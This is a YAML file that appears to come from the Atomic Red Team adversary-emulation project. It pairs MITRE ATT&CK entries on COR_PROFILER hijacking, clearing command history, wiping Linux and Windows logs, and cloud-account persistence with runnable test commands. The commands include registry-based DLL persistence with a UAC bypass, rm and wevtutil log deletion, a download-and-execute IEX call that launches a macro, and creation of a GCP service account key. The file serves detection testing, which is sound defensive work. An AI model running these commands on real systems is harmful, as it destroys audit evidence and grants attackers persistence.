        Adversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)) if the victim .NET process executes at a higher permission level, as well as to hook and [Impair Defenses](https://attack.mitre.org/techniques/T1562) provided by .NET processes.(Citation: RedCanary Mockingbird May 2020)(Citation: Red Canary COR_PROFILER May 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: GitHub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers May 2017)
      id: attack-pattern--ffeb0780-356e-4261-b036-cfb6bd234335
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2020-06-26T16:09:58.920Z'
      created: '2020-06-24T22:30:55.843Z'
      x_mitre_detection: 'For detecting system and user scope abuse of the COR_PROFILER,
        monitor the Registry for changes to COR_ENABLE_PROFILING, COR_PROFILER, and
        COR_PROFILER_PATH that correspond to system and user environment variables
        that do not correlate to known developer tools. Extra scrutiny should be placed
        on suspicious modification of these Registry keys by command line tools like
        wmic.exe, setx.exe, and [Reg](https://attack.mitre.org/software/S0075), monitoring
        for command-line arguments indicating a change to COR_PROFILER variables may
        aid in detection. For system, user, and process scope abuse of the COR_PROFILER,
        monitor for new suspicious unmanaged profiling DLLs loading into .NET processes
        shortly after the CLR causing abnormal process behavior.(Citation: Red Canary
        COR_PROFILER May 2020) Consider monitoring for DLL files that are associated
        with COR_PROFILER environment variables.'
      x_mitre_data_sources:
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Process: Process Creation'
      - 'Module: Module Load'
      - 'Command: Command Execution'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - User
      - Administrator
      x_mitre_contributors:
      - Jesse Brown, Red Canary
      x_mitre_platforms:
      - Windows
      identifier: T1574.012
    atomic_tests:
    - name: User scope COR_PROFILER
      auto_generated_guid: 9d5f89dc-c3a5-4f8a-a4fc-a6ed02e7cb5a
      description: |
        Creates user scope environment variables and CLSID COM object to enable a .NET profiler (COR_PROFILER).
        The unmanaged profiler DLL (`T1574.012x64.dll`) executes when the CLR is loaded by the Event Viewer process.
        Additionally, the profiling DLL will inherit the integrity level of Event Viewer bypassing UAC and executing `notepad.exe` with high integrity.
        If the account used is not a local administrator the profiler DLL will still execute each time the CLR is loaded by a process, however,
        the notepad process will not execute with high integrity.

        Reference: https://redcanary.com/blog/cor_profiler-for-persistence/
      supported_platforms:
      - windows
      input_arguments:
        file_name:
          description: unmanaged profiler DLL
          type: Path
          default: PathToAtomicsFolder\T1574.012\bin\T1574.012x64.dll
        clsid_guid:
          description: custom clsid guid
          type: String
          default: "{09108e71-974c-4010-89cb-acf471ae9e2c}"
      dependency_executor_name: powershell
      dependencies:
      - description: "#{file_name} must be present\n"
        prereq_command: 'if (Test-Path #{file_name}) {exit 0} else {exit 1}

'
        get_prereq_command: |
          New-Item -Type Directory (split-path #{file_name}) -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1574.012/bin/T1574.012x64.dll" -OutFile "#{file_name}"
      executor:
        command: |
          Write-Host "Creating registry keys in HKCU:Software\Classes\CLSID\#{clsid_guid}" -ForegroundColor Cyan
          New-Item -Path "HKCU:\Software\Classes\CLSID\#{clsid_guid}\InprocServer32" -Value #{file_name} -Force | Out-Null
          New-ItemProperty -Path HKCU:\Environment -Name "COR_ENABLE_PROFILING" -PropertyType String -Value "1" -Force | Out-Null
          New-ItemProperty -Path HKCU:\Environment -Name "COR_PROFILER" -PropertyType String -Value "#{clsid_guid}" -Force | Out-Null
          New-ItemProperty -Path HKCU:\Environment -Name "COR_PROFILER_PATH" -PropertyType String -Value #{file_name} -Force | Out-Null
          Write-Host "executing eventvwr.msc" -ForegroundColor Cyan
          START MMC.EXE EVENTVWR.MSC
        cleanup_command: "Remove-Item -Path \"HKCU:\\Software\\Classes\\CLSID\\#{clsid_guid}\"
          -Recurse -Force -ErrorAction Ignore \nRemove-ItemProperty -Path HKCU:\\Environment
          -Name \"COR_ENABLE_PROFILING\" -Force -ErrorAction Ignore | Out-Null\nRemove-ItemProperty
          -Path HKCU:\\Environment -Name \"COR_PROFILER\" -Force -ErrorAction Ignore
          | Out-Null\nRemove-ItemProperty -Path HKCU:\\Environment -Name \"COR_PROFILER_PATH\"
          -Force -ErrorAction Ignore | Out-Null\n"
        name: powershell
    - name: System Scope COR_PROFILER
      auto_generated_guid: f373b482-48c8-4ce4-85ed-d40c8b3f7310
      description: |
        Creates system scope environment variables to enable a .NET profiler (COR_PROFILER). System scope environment variables require a restart to take effect.
        The unmanaged profiler DLL (T1574.012x64.dll`) executes when the CLR is loaded by any process. Additionally, the profiling DLL will inherit the integrity
        level of Event Viewer bypassing UAC and executing `notepad.exe` with high integrity. If the account used is not a local administrator the profiler DLL will
        still execute each time the CLR is loaded by a process, however, the notepad process will not execute with high integrity.

        Reference: https://redcanary.com/blog/cor_profiler-for-persistence/
      supported_platforms:
      - windows
      input_arguments:
        file_name:
          description: unmanaged profiler DLL
          type: Path
          default: PathToAtomicsFolder\T1574.012\bin\T1574.012x64.dll
        clsid_guid:
          description: custom clsid guid
          type: String
          default: "{09108e71-974c-4010-89cb-acf471ae9e2c}"
      dependency_executor_name: powershell
      dependencies:
      - description: "#{file_name} must be present\n"
        prereq_command: 'if (Test-Path #{file_name}) {exit 0} else {exit 1}

'
        get_prereq_command: |
          New-Item -Type Directory (split-path #{file_name}) -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1574.012/bin/T1574.012x64.dll" -OutFile "#{file_name}"
      executor:
        command: |
          Write-Host "Creating system environment variables" -ForegroundColor Cyan
          New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name "COR_ENABLE_PROFILING" -PropertyType String -Value "1" -Force | Out-Null
          New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name "COR_PROFILER" -PropertyType String -Value "#{clsid_guid}" -Force | Out-Null
          New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name "COR_PROFILER_PATH" -PropertyType String -Value #{file_name} -Force | Out-Null
        cleanup_command: |
          Remove-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name "COR_ENABLE_PROFILING" -Force -ErrorAction Ignore | Out-Null
          Remove-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name "COR_PROFILER" -Force -ErrorAction Ignore | Out-Null
          Remove-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name "COR_PROFILER_PATH" -Force -ErrorAction Ignore | Out-Null
        name: powershell
        elevation_required: true
    - name: Registry-free process scope COR_PROFILER
      auto_generated_guid: 79d57242-bbef-41db-b301-9d01d9f6e817
      description: |
        Creates process scope environment variables to enable a .NET profiler (COR_PROFILER) without making changes to the registry. The unmanaged profiler DLL (`T1574.012x64.dll`) executes when the CLR is loaded by PowerShell.

        Reference: https://redcanary.com/blog/cor_profiler-for-persistence/
      supported_platforms:
      - windows
      input_arguments:
        file_name:
          description: unamanged profiler DLL
          type: Path
          default: PathToAtomicsFolder\T1574.012\bin\T1574.012x64.dll
        clsid_guid:
          description: custom clsid guid
          type: String
          default: "{09108e71-974c-4010-89cb-acf471ae9e2c}"
      dependency_executor_name: powershell
      dependencies:
      - description: "#{file_name} must be present\n"
        prereq_command: 'if (Test-Path #{file_name}) {exit 0} else {exit 1}

'
        get_prereq_command: |
          New-Item -Type Directory (split-path #{file_name}) -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1574.012/bin/T1574.012x64.dll" -OutFile "#{file_name}"
      executor:
        command: |
          $env:COR_ENABLE_PROFILING = 1
          $env:COR_PROFILER = '#{clsid_guid}'
          $env:COR_PROFILER_PATH = '#{file_name}'
          POWERSHELL -c 'Start-Sleep 1'
        cleanup_command: |
          $env:COR_ENABLE_PROFILING = 0
          $env:COR_PROFILER = ''
          $env:COR_PROFILER_PATH = ''
        name: powershell
  T1070.003:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1070.003
        url: https://attack.mitre.org/techniques/T1070/003
      - source_name: Microsoft PowerShell Command History
        url: https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7
        description: Microsoft. (2020, May 13). About History. Retrieved September
          4, 2020.
      - source_name: Sophos PowerShell command audit
        url: https://community.sophos.com/products/intercept/early-access-program/f/live-discover-response-queries/121529/live-discover---powershell-command-audit
        description: jak. (2020, June 27). Live Discover - PowerShell command audit.
          Retrieved August 21, 2020.
      - source_name: Sophos PowerShell Command History Forensics
        url: https://community.sophos.com/products/malware/b/blog/posts/powershell-command-history-forensics
        description: Vikas, S. (2020, August 26). PowerShell Command History Forensics.
          Retrieved September 4, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Clear Command History
      description: |-
        In addition to clearing system logs, an adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done.

        On Linux and macOS, these command histories can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable <code>HISTFILE</code>. When a user logs off a system, this information is flushed to a file in the user's home directory called <code>~/.bash_history</code>. The benefit of this is that it allows users to go back to commands they've used before in different sessions.

        Adversaries may delete their commands from these logs by manually clearing the history (<code>history -c</code>) or deleting the bash history file <code>rm ~/.bash_history</code>.

        On Windows hosts, PowerShell has two different command history providers: the built-in history and the command history managed by the <code>PSReadLine</code> module. The built-in history only tracks the commands used in the current session. This command history is not available to other sessions and is deleted when the session ends.

        The <code>PSReadLine</code> command history tracks the commands used in all PowerShell sessions and writes them to a file (<code>$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt</code> by default). This history file is available to all sessions and contains all past history since the file is not deleted when the session ends.(Citation: Microsoft PowerShell Command History)

        Adversaries may run the PowerShell command <code>Clear-History</code> to flush the entire command history from a current PowerShell session. This, however, will not delete/flush the <code>ConsoleHost_history.txt</code> file. Adversaries may also delete the <code>ConsoleHost_history.txt</code> file or edit its contents to hide PowerShell commands they have run.(Citation: Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History Forensics)
      id: attack-pattern--3aef9463-9a7a-43ba-8957-a867e07c1e6a
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2020-10-16T18:09:48.686Z'
      created: '2020-01-31T12:32:08.228Z'
      x_mitre_contributors:
      - Vikas Singh, Sophos
      - Emile Kenning, Sophos
      x_mitre_version: '1.1'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - User
      x_mitre_defense_bypassed:
      - Host forensic analysis
      - Log analysis
      x_mitre_detection: |-
        User authentication, especially via remote terminal services like SSH, without new entries in that user's <code>~/.bash_history</code> is suspicious. Additionally, the removal/clearing of the <code>~/.bash_history</code> file can be an indicator of suspicious activity.

        Monitor for suspicious modifications or deletion of <code>ConsoleHost_history.txt</code> and use of the <code>Clear-History</code> command.
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'File: File Modification'
      - 'File: File Deletion'
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      identifier: T1070.003
    atomic_tests:
    - name: Clear Bash history (rm)
      auto_generated_guid: a934276e-2be5-4a36-93fd-98adbb5bd4fc
      description: 'Clears bash history via rm

'
      supported_platforms:
      - linux
      - macos
      executor:
        command: 'rm ~/.bash_history

'
        name: sh
    - name: Clear Bash history (echo)
      auto_generated_guid: cbf506a5-dd78-43e5-be7e-a46b7c7a0a11
      description: 'Clears bash history via rm

'
      supported_platforms:
      - linux
      executor:
        command: 'echo "" > ~/.bash_history

'
        name: sh
    - name: Clear Bash history (cat dev/null)
      auto_generated_guid: b1251c35-dcd3-4ea1-86da-36d27b54f31f
      description: 'Clears bash history via cat /dev/null

'
      supported_platforms:
      - linux
      - macos
      executor:
        command: 'cat /dev/null > ~/.bash_history

'
        name: sh
    - name: Clear Bash history (ln dev/null)
      auto_generated_guid: 23d348f3-cc5c-4ba9-bd0a-ae09069f0914
      description: 'Clears bash history via a symlink to /dev/null

'
      supported_platforms:
      - linux
      - macos
      executor:
        command: 'ln -sf /dev/null ~/.bash_history

'
        name: sh
    - name: Clear Bash history (truncate)
      auto_generated_guid: 47966a1d-df4f-4078-af65-db6d9aa20739
      description: 'Clears bash history via truncate

'
      supported_platforms:
      - linux
      executor:
        command: 'truncate -s0 ~/.bash_history

'
        name: sh
    - name: Clear history of a bunch of shells
      auto_generated_guid: 7e6721df-5f08-4370-9255-f06d8a77af4c
      description: 'Clears the history of a bunch of different shell types by setting
        the history size to zero

'
      supported_platforms:
      - linux
      - macos
      executor:
        command: |
          unset HISTFILE
          export HISTFILESIZE=0
          history -c
        name: sh
    - name: Clear and Disable Bash History Logging
      auto_generated_guid: 784e4011-bd1a-4ecd-a63a-8feb278512e6
      description: 'Clears the history and disable bash history logging of the current
        shell and future shell sessions

'
      supported_platforms:
      - linux
      - macos
      executor:
        command: |
          set +o history
          echo 'set +o history' >> ~/.bashrc
          . ~/.bashrc
          history -c
        cleanup_command: |
          sed -i 's/set +o history//g' ~/.bashrc
          . ~/.bashrc
          set -o history
        name: sh
    - name: Use Space Before Command to Avoid Logging to History
      auto_generated_guid: 53b03a54-4529-4992-852d-a00b4b7215a6
      description: 'Using a space before a command causes the command to not be logged
        in the Bash History file

'
      supported_platforms:
      - linux
      - macos
      executor:
        command: |
          hostname
          whoami
        name: sh
    - name: Disable Bash History Logging with SSH -T
      auto_generated_guid: 5f8abd62-f615-43c5-b6be-f780f25790a1
      description: 'Keeps history clear and stays out of lastlog,wtmp,btmp ssh -T
        keeps the ssh client from catching a proper TTY, which is what usually gets
        logged on lastlog

'
      supported_platforms:
      - linux
      dependencies:
      - description: 'Install sshpass and create user account used for excuting

'
        prereq_command: "$(getent passwd testuser1 >/dev/null) && $(which sshpass
          >/dev/null)\n"
        get_prereq_command: |
          /usr/sbin/useradd testuser1
          echo -e 'pwd101!\npwd101!' | passwd testuser1
          (which yum && yum -y install epel-release sshpass)||(which apt-get && DEBIAN_FRONTEND=noninteractive apt-get install -y sshpass)
      executor:
        command: 'sshpass -p ''pwd101!'' ssh testuser1@localhost -T hostname

'
        cleanup_command: 'userdel -f testuser1

'
        name: sh
    - name: Prevent Powershell History Logging
      auto_generated_guid: 2f898b81-3e97-4abb-bc3f-a95138988370
      description: 'Prevents Powershell history

'
      supported_platforms:
      - windows
      executor:
        command: 'Set-PSReadlineOption –HistorySaveStyle SaveNothing

'
        name: powershell
        cleanup_command: Set-PSReadLineOption -HistorySaveStyle SaveIncrementally
    - name: Clear Powershell History by Deleting History File
      auto_generated_guid: da75ae8d-26d6-4483-b0fe-700e4df4f037
      description: 'Clears Powershell history

'
      supported_platforms:
      - windows
      executor:
        command: 'Remove-Item (Get-PSReadlineOption).HistorySavePath

'
        name: powershell
  T1070.002:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1070.002
        url: https://attack.mitre.org/techniques/T1070/002
      - source_name: Linux Logs
        url: https://www.eurovps.com/blog/important-linux-log-files-you-must-be-monitoring/
        description: Marcel. (2018, April 19). 12 Critical Linux Log Files You Must
          be Monitoring. Retrieved March 29, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Clear Linux or Mac System Logs
      description: |
        Adversaries may clear system logs to hide evidence of an intrusion. macOS and Linux both keep track of system or user-initiated actions via system logs. The majority of native system logging is stored under the <code>/var/log/</code> directory. Subfolders in this directory categorize logs by their related functions, such as:(Citation: Linux Logs)

        * <code>/var/log/messages:</code>: General and system-related messages
        * <code>/var/log/secure</code> or <code>/var/log/auth.log</code>: Authentication logs
        * <code>/var/log/utmp</code> or <code>/var/log/wtmp</code>: Login records
        * <code>/var/log/kern.log</code>: Kernel logs
        * <code>/var/log/cron.log</code>: Crond logs
        * <code>/var/log/maillog</code>: Mail server logs
        * <code>/var/log/httpd/</code>: Web server access and error logs
      id: attack-pattern--2bce5b30-7014-4a5d-ade7-12913fe6ac36
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2020-03-29T21:23:51.886Z'
      created: '2020-01-28T17:11:54.034Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_detection: File system monitoring may be used to detect improper deletion
        or modification of indicator files. Also monitor for suspicious processes
        interacting with log files.
      x_mitre_data_sources:
      - 'File: File Deletion'
      - 'File: File Modification'
      - 'Command: Command Execution'
      x_mitre_platforms:
      - Linux
      - macOS
      identifier: T1070.002
    atomic_tests:
    - name: rm -rf
      auto_generated_guid: 989cc1b1-3642-4260-a809-54f9dd559683
      description: 'Delete system and audit logs

'
      supported_platforms:
      - macos
      - linux
      executor:
        command: |
          sudo rm -rf /private/var/log/system.log*
          sudo rm -rf /private/var/audit/*
        name: sh
        elevation_required: true
    - name: Overwrite Linux Mail Spool
      auto_generated_guid: 1602ff76-ed7f-4c94-b550-2f727b4782d4
      description: 'This test overwrites the Linux mail spool of a specified user.
        This technique was used by threat actor Rocke during the exploitation of Linux
        web servers.

'
      supported_platforms:
      - linux
      input_arguments:
        username:
          description: Username of mail spool
          type: String
          default: root
      executor:
        command: 'echo 0> /var/spool/mail/#{username}

'
        name: bash
    - name: Overwrite Linux Log
      auto_generated_guid: d304b2dc-90b4-4465-a650-16ddd503f7b5
      description: 'This test overwrites the specified log. This technique was used
        by threat actor Rocke during the exploitation of Linux web servers.

'
      supported_platforms:
      - linux
      input_arguments:
        log_path:
          description: Path of specified log
          type: Path
          default: "/var/log/secure"
      executor:
        command: 'echo 0> #{log_path}

'
        name: bash
  T1070.001:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1070.001
        url: https://attack.mitre.org/techniques/T1070/001
      - url: https://docs.microsoft.com/windows-server/administration/windows-commands/wevtutil
        description: Plett, C. et al.. (2017, October 16). wevtutil. Retrieved July
          2, 2018.
        source_name: Microsoft wevtutil Oct 2017
      - url: https://msdn.microsoft.com/library/system.diagnostics.eventlog.clear.aspx
        description: Microsoft. (n.d.). EventLog.Clear Method (). Retrieved July 2,
          2018.
        source_name: Microsoft EventLog.Clear
      - url: https://docs.microsoft.com/powershell/module/microsoft.powershell.management/clear-eventlog
        description: Microsoft. (n.d.). Clear-EventLog. Retrieved July 2, 2018.
        source_name: Microsoft Clear-EventLog
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Clear Windows Event Logs
      description: |-
        Adversaries may clear Windows Event Logs to hide the activity of an intrusion. Windows Event Logs are a record of a computer's alerts and notifications. There are three system-defined sources of events: System, Application, and Security, with five event types: Error, Warning, Information, Success Audit, and Failure Audit.

        The event logs can be cleared with the following utility commands:

        * <code>wevtutil cl system</code>
        * <code>wevtutil cl application</code>
        * <code>wevtutil cl security</code>

        These logs may also be cleared through other mechanisms, such as the event viewer GUI or [PowerShell](https://attack.mitre.org/techniques/T1059/001).
      id: attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2020-03-29T21:17:03.732Z'
      created: '2020-01-28T17:05:14.707Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_system_requirements:
      - Clearing the Windows event logs requires Administrator permissions
      x_mitre_defense_bypassed:
      - Anti Virus
      - Host Intrusion Prevention Systems
      - Log Analysis
      x_mitre_permissions_required:
      - Administrator
      x_mitre_detection: 'Deleting Windows event logs (via native binaries (Citation:
        Microsoft wevtutil Oct 2017), API functions (Citation: Microsoft EventLog.Clear),
        or [PowerShell](https://attack.mitre.org/techniques/T1059/001) (Citation:
        Microsoft Clear-EventLog)) may also generate an alterable event (Event ID
        1102: "The audit log was cleared").'
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      - 'Command: Command Execution'
      x_mitre_platforms:
      - Windows
      identifier: T1070.001
    atomic_tests:
    - name: Clear Logs
      auto_generated_guid: e6abb60e-26b8-41da-8aae-0c35174b0967
      description: 'Upon execution this test will clear Windows Event Logs. Open the
        System.evtx logs at C:\Windows\System32\winevt\Logs and verify that it is
        now empty.

'
      supported_platforms:
      - windows
      input_arguments:
        log_name:
          description: Windows Log Name, ex System
          type: String
          default: System
      executor:
        command: 'wevtutil cl #{log_name}

'
        name: command_prompt
        elevation_required: true
    - name: Delete System Logs Using Clear-EventLog
      auto_generated_guid: b13e9306-3351-4b4b-a6e8-477358b0b498
      description: |
        Clear event logs using built-in PowerShell commands.
        Upon successful execution, you should see the list of deleted event logs
        Upon execution, open the Security.evtx logs at C:\Windows\System32\winevt\Logs and verify that it is now empty or has very few logs in it.
      supported_platforms:
      - windows
      executor:
        command: |
          $logs = Get-EventLog -List | ForEach-Object {$_.Log}
          $logs | ForEach-Object {Clear-EventLog -LogName $_ }
          Get-EventLog -list
        name: powershell
        elevation_required: true
    - name: Clear Event Logs via VBA
      auto_generated_guid: 1b682d84-f075-4f93-9a89-8a8de19ffd6e
      description: "This module utilizes WMI via VBA to clear the Security and Backup
        eventlogs from the system. \n\nElevation is required for this module to execute
        properly, otherwise WINWORD will throw an \"Access Denied\" error\n"
      supported_platforms:
      - windows
      dependency_executor_name: powershell
      dependencies:
      - description: 'Microsoft Word must be installed

'
        prereq_command: |
          try {
            New-Object -COMObject "Word.Application" | Out-Null
            Stop-Process -Name "winword"
            exit 0
          } catch { exit 1 }
        get_prereq_command: 'Write-Host "You will need to install Microsoft Word manually
          to meet this requirement"

'
      executor:
        command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
          Invoke-Maldoc -macroFile "PathToAtomicsFolder\T1070.001\src\T1070.001-macrocode.txt" -officeProduct "Word" -sub "ClearLogs"
        name: powershell
        elevation_required: true
  T1078.004:
    technique:
      id: attack-pattern--f232fa7a-025c-4d43-abc7-318e81a73d65
      description: |-
        Adversaries may obtain and abuse credentials of a cloud account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. In some cases, cloud accounts may be federated with traditional identity management system, such as Window Active Directory. (Citation: AWS Identity Federation)(Citation: Google Federating GC)(Citation: Microsoft Deploying AD Federation)

        Compromised credentials for cloud accounts can be used to harvest sensitive data from online storage accounts and databases. Access to cloud accounts can also be abused to gain Initial Access to a network by abusing a [Trusted Relationship](https://attack.mitre.org/techniques/T1199). Similar to [Domain Accounts](https://attack.mitre.org/techniques/T1078/002), compromise of federated cloud accounts may allow adversaries to more easily move laterally within an environment.
      name: Cloud Accounts
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1078.004
        url: https://attack.mitre.org/techniques/T1078/004
      - source_name: AWS Identity Federation
        url: https://aws.amazon.com/identity/federation/
        description: Amazon. (n.d.). Identity Federation in AWS. Retrieved March 13,
          2020.
      - source_name: Google Federating GC
        url: https://cloud.google.com/solutions/federating-gcp-with-active-directory-introduction
        description: Google. (n.d.). Federating Google Cloud with Active Directory.
          Retrieved March 13, 2020.
      - source_name: Microsoft Deploying AD Federation
        url: https://docs.microsoft.com/en-us/windows-server/identity/ad-fs/deployment/how-to-connect-fed-azure-adfs
        description: Microsoft. (n.d.). Deploying Active Directory Federation Services
          in Azure. Retrieved March 13, 2020.
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: initial-access
      modified: '2021-03-16T12:45:15.399Z'
      created: '2020-03-13T20:36:57.378Z'
      x_mitre_platforms:
      - Azure AD
      - Office 365
      - SaaS
      - IaaS
      - Google Workspace
      x_mitre_data_sources:
      - 'User Account: User Account Authentication'
      - 'Logon Session: Logon Session Creation'
      x_mitre_detection: Monitor the activity of cloud accounts to detect abnormal
        or malicious behavior, such as accessing information outside of the normal
        function of the account or account usage at atypical hours.
      x_mitre_permissions_required:
      - User
      - Administrator
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.2'
      identifier: T1078.004
    atomic_tests:
    - name: Creating GCP Service Account and Service Account Key
      auto_generated_guid: 9fdd83fd-bd53-46e5-a716-9dec89c8ae8e
      description: 'GCP Service Accounts can be used to gain intial access as well
        as maintain persistence inside Google Cloud.

'
      supported_platforms:
      - google-workspace
      - windows
      - linux
      - macos
      input_arguments:
        project-id:
          description: ID of the project, you want to create service account as well
            as service account key for
          type: String
          default: art-project-1
        service-account-name:
          description: Name of the service account
          type: String
          default: gcp-art-service-account-1
        service-account-email:
          description: Email of the service account
          type: String
          default: gcp-art-service-account-1@art-project-1.iam.gserviceaccount.com
        output-key-file:
          description: Email of the service account
          type: String
          default: gcp-art-service-account-1.json
      executor:
        name: gcloud
        elevation_required: false
        command: |
          gcloud auth login --no-launch-browser
          gcloud config set project #{project-id}
          gcloud iam service-accounts create #{service-account-name}
          gcloud iam service-accounts keys create #{output-key-file} --iam-account=#{service-account-email}
        cleanup_command: 'gcloud iam service-accounts delete #{service-account-email}
          --quiet

'
      dependency_executor_name: gcloud
      dependencies:
      - description: 'Requires gcloud

'
        prereq_command: 'if [ -x "$(command -v gcloud)" ]; then exit 0; else exit
          1; fi;

'
        get_prereq_command: 'echo "Please Install Google Cloud SDK before running
          this atomic test : https://cloud.google.com/sdk/docs/install"

'
  T1553.002:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1553.002
        url: https://attack.mitre.org/techniques/T1553/002
      - url: https://en.wikipedia.org/wiki/Code_signing
        description: Wikipedia. (2015, November 10). Code Signing. Retrieved March
          31, 2016.
        source_name: Wikipedia Code Signing
      - url: https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/
        description: Ladikov, A. (2015, January 29). Why You Shouldn’t Completely
          Trust Files Signed with Digital Certificates. Retrieved March 31, 2016.
        source_name: Securelist Digital Certificates
      - url: http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates
        description: Shinotsuka, H. (2013, February 22). How Attackers Steal Private
          Keys from Digital Certificates. Retrieved March 31, 2016.
        source_name: Symantec Digital Certificates
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Code Signing
      description: "Adversaries may create, acquire, or steal code signing materials
        to sign their malware or tools. Code signing provides a level of authenticity
        on a binary from the developer and a guarantee that the binary has not been
        tampered with. (Citation: Wikipedia Code Signing) The certificates used during
        an operation may be created, acquired, or stolen by the adversary. (Citation:
        Securelist Digital Certificates) (Citation: Symantec Digital Certificates)
        Unlike [Invalid Code Signature](https://attack.mitre.org/techniques/T1036/001),
        this activity will result in a valid signature.\n\nCode signing to verify
        software on first run can be used on modern Windows and macOS/OS X systems.
        It is not used on Linux due to the decentralized nature of the platform. (Citation:
        Wikipedia Code Signing) \n\nCode signing certificates may be used to bypass
        security policies that require signed code to execute on a system. "
      id: attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2020-02-10T19:51:01.601Z'
      created: '2020-02-05T16:27:37.784Z'
      x_mitre_data_sources:
      - 'File: File Metadata'
      x_mitre_defense_bypassed:
      - Windows User Account Control
      x_mitre_detection: Collect and analyze signing certificate metadata on software
        that executes within the environment to look for unusual certificate characteristics
        and outliers.
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - macOS
      - Windows
    atomic_tests: []
  T1553.006:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1553.006
        url: https://attack.mitre.org/techniques/T1553/006
      - source_name: Microsoft DSE June 2017
        url: https://docs.microsoft.com/en-us/previous-versions/windows/hardware/design/dn653559(v=vs.85)?redirectedfrom=MSDN
        description: Microsoft. (2017, June 1). Digital Signatures for Kernel Modules
          on Windows. Retrieved April 22, 2021.
      - source_name: Apple Disable SIP
        url: https://developer.apple.com/documentation/security/disabling_and_enabling_system_integrity_protection
        description: Apple. (n.d.). Disabling and Enabling System Integrity Protection.
          Retrieved April 22, 2021.
      - source_name: Microsoft Unsigned Driver Apr 2017
        url: https://docs.microsoft.com/en-us/windows-hardware/drivers/install/installing-an-unsigned-driver-during-development-and-test
        description: Microsoft. (2017, April 20). Installing an Unsigned Driver during
          Development and Test. Retrieved April 22, 2021.
